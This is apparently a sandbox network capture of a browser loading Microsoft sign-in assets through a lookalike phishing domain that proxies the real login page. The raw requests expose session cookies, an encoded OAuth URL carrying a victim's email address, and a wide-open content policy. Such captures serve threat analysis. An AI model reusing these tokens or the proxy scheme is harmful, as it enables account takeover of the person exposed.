2024-11-21 13:45:17 UTC	16384	IN	Data Raw: 3d 20 70 2e 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 3f 22 20 2b 20 67 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 77 63 74 78 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4c 6f 67 69 6e 4f 70 74 69 6f 6e 73 25 33 44 33 25 32 36 22 20 2b 20 70 2e 65 78 74 72 61 63 74 28 22 77 63 74 78 22 2c 20 22 3f 22 20 2b 20 67 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 74 20 3d 20 74 2e 73 75 62 73 74 72 28 31 29 29 2c 20 28 65 20 3d 20 70 2e 61 70 70 65 6e 64 28 65 2c 20 74 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: = p.appendOrReplace( "?" + ge, "wctx", "LoginOptions%3D3%26" + p.extract("wctx", "?" + ge) ); (t = t.substr(1)), (e = p.append(e, t));
2024-11-21 13:45:17 UTC	16384	IN	Data Raw: 20 20 28 65 2e 65 78 70 6f 72 74 73 20 3d 20 70 29 3b 0a 20 20 7d 2c 0a 20 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 6e 2c 20 74 29 20 7b 0a 20 20 20 20 76 61 72 20 69 20 3d 20 74 28 32 29 2c 0a 20 20 20 20 20 20 61 20 3d 20 74 28 31 29 2c 0a 20 20 20 20 20 20 6f 20 3d 20 74 28 34 29 2c 0a 20 20 20 20 20 20 72 20 3d 20 74 28 30 29 2c 0a 20 20 20 20 20 20 73 20 3d 20 77 69 6e 64 6f 77 2c 0a 20 20 20 20 20 20 63 20 3d 20 72 2e 44 69 61 6c 6f 67 49 64 3b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 6e 20 3d 20 74 68 69 73 2c 0a 20 20 20 20 20 20 20 20 74 20 3d 20 65 2e 69 73 50 6c 61 74 66 6f 72 6d 41 75 74 68 65 6e 74 69 63 61 74 6f 72 41 76 61 69 6c 61 62 6c 65 3b 0a 20 20 20 20 20 20 28 6e 2e 6f 6e 52 65 67 Data Ascii: (e.exports = p); }, function (e, n, t) { var i = t(2), a = t(1), o = t(4), r = t(0), s = window, c = r.DialogId; function d(e) { var n = this, t = e.isPlatformAuthenticatorAvailable; (n.onReg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49774	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:16 UTC	2872	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_ae573f441ee1cf781ec7.js HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:17 UTC	1343	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20827184 Cache-Control: public, max-age=31536000 Content-MD5: 9GQ+Rbv+K66xwlL4OWRpYA== Content-Type: application/x-javascript Date: Thu, 21 Nov 2024 13:45:16 GMT Etag: 0x8DAFF34C498105D Last-Modified: Thu, 26 Jan 2023 00:32:12 GMT Server: ECAcc (ska/F6B6) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 010aa7c3-c01e-00c3-13af-7ea364000000 x-ms-version: 2009-09-19 content-length: 15748 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:17 UTC	15041	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-21 13:45:17 UTC	707	IN	Data Raw: 48 65 6c 70 65 72 2e 69 73 53 74 61 63 6b 53 69 7a 65 47 72 65 61 74 65 72 54 68 61 6e 28 64 2e 53 65 72 76 65 72 44 61 74 61 2e 69 4d 61 78 53 74 61 63 6b 46 6f 72 4b 6e 6f 63 6b 6f 75 74 41 73 79 6e 63 43 6f 6d 70 6f 6e 65 6e 74 73 29 2c 65 6e 61 62 6c 65 45 78 74 65 6e 73 69 6f 6e 73 3a 21 30 7d 29 2c 65 2e 65 78 70 6f 72 74 73 3d 66 7d 2c 36 35 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 73 29 7b 65 2e 65 78 70 6f 72 74 73 3d 27 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6c 6f 67 69 6e 22 20 64 61 74 61 2d 62 69 6e 64 3d 22 76 61 6c 75 65 3a 20 75 6e 73 61 66 65 5f 75 73 65 72 6e 61 6d 65 22 20 2f 3e 5c 6e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6c 6f 67 69 6e 66 6d 74 22 Data Ascii: Helper.isStackSizeGreaterThan(d.ServerData.iMaxStackForKnockoutAsyncComponents),enableExtensions:!0}),e.exports=f},656:function(e,n,s){e.exports='<input type="hidden" name="login" data-bind="value: unsafe_username" />\n<input type="hidden" name="loginfmt"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49775	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:16 UTC	2920	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:17 UTC	716	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20884324 Cache-Control: public, max-age=31536000 Content-MD5: Fm3lNHEmUlOrOkVt7+baIw== Content-Type: image/gif Date: Thu, 21 Nov 2024 13:45:16 GMT Etag: 0x8D79A1B9F2C6EC8 Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (ska/F6F5) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 292a6b37-701e-00fc-6c2a-7e0b6a000000 x-ms-version: 2009-09-19 Content-Length: 2672 Connection: close
2024-11-21 13:45:17 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49776	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:16 UTC	2914	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:17 UTC	716	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20857395 Cache-Control: public, max-age=31536000 Content-MD5: tUCo5RgDcZLjLE/li/Lbqw== Content-Type: image/gif Date: Thu, 21 Nov 2024 13:45:16 GMT Etag: 0x8D79A1B9F8A840E Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (ska/F76F) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4c962c45-a01e-0081-3e69-7e2671000000 x-ms-version: 2009-09-19 Content-Length: 3620 Connection: close
2024-11-21 13:45:17 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49773	13.107.246.45	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:16 UTC	650	OUT	POST /report/ESTS-UX-All HTTP/1.1 Host: csp.microsoft.com Connection: keep-alive Content-Length: 2967 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://sharedfile4rom1nternet.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://sharedfile4rom1nternet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:45:16 UTC	2967	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 68 61 72 65 64 66 69 6c 65 34 72 6f 6d 31 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 3f 79 64 72 76 37 66 68 32 37 3d 61 48 52 30 63 48 4d 36 4c 79 39 73 62 32 64 70 62 69 35 74 61 57 4e 79 62 33 4e 76 5a 6e 52 76 62 6d 78 70 62 6d 55 75 59 32 39 74 4c 32 4e 76 62 57 31 76 62 69 39 76 59 58 56 30 61 44 49 76 59 58 56 30 61 47 39 79 61 58 70 6c 50 32 4e 73 61 57 56 75 64 46 39 70 5a 44 30 77 4d 44 41 77 4d 44 41 77 4d 69 30 77 4d 44 41 77 4c 54 42 6d 5a 6a 45 74 59 32 55 77 4d 43 30 77 4d 44 41 77 4d 44 41 77 4d 44 41 77 4d 44 41 6d 63 6d 56 6b 61 58 4a 6c 59 33 52 66 64 58 4a 70 50 57 68 30 64 48 42 7a 4a 54 4e 68 4a 54 4a 6d 4a 54 4a 6d 62 33 Data Ascii: {"csp-report":{"document-uri":"https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3
2024-11-21 13:45:17 UTC	349	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:45:17 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Request-Context: appId=cid-v1:5c791ad2-9c50-4271-a8a5-5c74d929f3ed x-azure-ref: 20241121T134516Z-r1d97b99577n5jhbhC1TEB74vn0000000aag00000000dpg1 X-Cache: CONFIG_NOCACHE
2024-11-21 13:45:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-21 13:45:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49777	40.99.217.146	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
